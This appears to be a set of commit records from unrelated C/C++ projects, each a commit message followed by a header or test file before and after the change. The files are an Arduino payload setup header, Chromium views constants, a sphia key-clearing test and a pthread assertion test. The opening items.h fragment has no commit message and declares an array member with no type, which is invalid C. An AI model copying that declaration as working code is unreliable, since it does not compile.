/*------------------------------------------------------------------------------ | NuCTex | items.h | Author | Benjamin A - Nullsrc | Created | 17 January, 2016 | Changed | 17 January, 2016 |------------------------------------------------------------------------------- | Overview | Declare item structures used in the code \-----------------------------------------------------------------------------*/ #ifndef NULLSRC_ITEMS_HEADER #define NULLSRC_ITEMS_HEADER typedef struct Item { char* name; char* description; int id; float size; float weight; int strength; int agility; int intelligence; int charisma; } Item; typedef struct Inventory { item[26]; } Inventory;
Add template overload for begin() arguments
#ifndef RCR_LEVEL1PAYLOAD_SETUP_H_ #define RCR_LEVEL1PAYLOAD_SETUP_H_ #if defined(ARDUINO) && ARDUINO >= 100 #include "arduino.h" #else #include "WProgram.h" #endif namespace rcr { namespace level1payload { // Setup the object. Swallow any errors. template<typename T> inline void setup_object(T& obj, const char* error_message, const char* success_message) { if (!obj.begin()) { Serial.println(error_message); // Swallow the error. Fault tolerance is required. } else { Serial.println(success_message); } Serial.println(); } } // namespace level1_payload } // namespace rcr #endif // RCR_LEVEL1PAYLOAD_SETUP_H_
#ifndef RCR_LEVEL1PAYLOAD_SETUP_H_ #define RCR_LEVEL1PAYLOAD_SETUP_H_ #if defined(ARDUINO) && ARDUINO >= 100 #include "arduino.h" #else #include "WProgram.h" #endif namespace rcr { namespace level1payload { // Setup the object. Swallow any errors. template<typename T, typename TArg> inline void setup_object(T& obj, TArg arg, const char* display_name) { if (!obj.begin(arg)) { Serial.print("ERROR: "); Serial.print(display_name); Serial.println(" could not be found or setup."); // Swallow the error. Fault tolerance is required. } else { Serial.print("Success: "); Serial.print(display_name); Serial.println(" ready."); } Serial.println(); } template<typename T> inline void setup_object(T& obj, const char* display_name) { if (!obj.begin()) { Serial.print("ERROR: "); Serial.print(display_name); Serial.println(" could not be found or setup."); // Swallow the error. Fault tolerance is required. } else { Serial.print("Success: "); Serial.print(display_name); Serial.println(" ready."); } Serial.println(); } } // namespace level1_payload } // namespace rcr #endif // RCR_LEVEL1PAYLOAD_SETUP_H_
Add VIEWS_EXPORT to autoscroll constants.
// Copyright (c) 2011 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef VIEWS_VIEW_CONSTANTS_H_ #define VIEWS_VIEW_CONSTANTS_H_ #pragma once #include "views/views_export.h" namespace views { // Size (width or height) within which the user can hold the mouse and the // view should scroll. extern const int kAutoscrollSize; // Time in milliseconds to autoscroll by a row. This is used during drag and // drop. extern const int kAutoscrollRowTimerMS; // Used to determine whether a drop is on an item or before/after it. If a drop // occurs kDropBetweenPixels from the top/bottom it is considered before/after // the item, otherwise it is on the item. VIEWS_EXPORT extern const int kDropBetweenPixels; } // namespace views #endif // VIEWS_VIEW_CONSTANTS_H_
// Copyright (c) 2011 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef VIEWS_VIEW_CONSTANTS_H_ #define VIEWS_VIEW_CONSTANTS_H_ #pragma once #include "views/views_export.h" namespace views { // Size (width or height) within which the user can hold the mouse and the // view should scroll. VIEWS_EXPORT extern const int kAutoscrollSize; // Time in milliseconds to autoscroll by a row. This is used during drag and // drop. VIEWS_EXPORT extern const int kAutoscrollRowTimerMS; // Used to determine whether a drop is on an item or before/after it. If a drop // occurs kDropBetweenPixels from the top/bottom it is considered before/after // the item, otherwise it is on the item. VIEWS_EXPORT extern const int kDropBetweenPixels; } // namespace views #endif // VIEWS_VIEW_CONSTANTS_H_
Update clear test to use keys longer than 8 chars
#include "sphia-test.h" // See #51 static void test_clear_similar_keys() { sphia_set(sphia, "key-1", "hello world"); sphia_set(sphia, "key-10", "hello world"); assert(2 == sphia_count(sphia)); assert(0 == sphia_clear(sphia)); assert(0 == sphia_count(sphia)); } TEST(test_clear_similar_keys);
#include "sphia-test.h" // See #51 static void test_clear_similar_keys() { sphia_set(sphia, "key-1", "hello world"); sphia_set(sphia, "key-10", "hello world"); sphia_set(sphia, "00000000", "hello world"); sphia_set(sphia, "000000000", "hello world"); assert(4 == sphia_count(sphia)); assert(0 == sphia_clear(sphia)); assert(0 == sphia_count(sphia)); } TEST(test_clear_similar_keys);
Add missing return to 13/67
#include<pthread.h> #include<stdio.h> #include<unistd.h> #include <assert.h> int g; pthread_mutex_t mut = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond = PTHREAD_COND_INITIALIZER; void* f1(void* ptr) { pthread_mutex_lock(&mut); g = 1; pthread_cond_wait(&cond,&mut); assert(g == 0); // TODO (no cond-flow support) printf("g is %i", g); g = 0; pthread_mutex_unlock(&mut); } void* f2(void* ptr) { pthread_mutex_lock(&mut); assert(g == 0); //UNKNOWN! g = 0; pthread_cond_signal(&cond); pthread_mutex_unlock(&mut); } int main(int argc, char const *argv[]) { pthread_t t1; pthread_t t2; pthread_create(&t1,NULL,f1,NULL); sleep(1); pthread_create(&t2,NULL,f2,NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }
#include<pthread.h> #include<stdio.h> #include<unistd.h> #include <assert.h> int g; pthread_mutex_t mut = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond = PTHREAD_COND_INITIALIZER; void* f1(void* ptr) { pthread_mutex_lock(&mut); g = 1; pthread_cond_wait(&cond,&mut); assert(g == 0); // TODO (no cond-flow support) printf("g is %i", g); g = 0; pthread_mutex_unlock(&mut); return NULL; } void* f2(void* ptr) { pthread_mutex_lock(&mut); assert(g == 0); //UNKNOWN! g = 0; pthread_cond_signal(&cond); pthread_mutex_unlock(&mut); return NULL; } int main(int argc, char const *argv[]) { pthread_t t1; pthread_t t2; pthread_create(&t1,NULL,f1,NULL); sleep(1); pthread_create(&t2,NULL,f2,NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }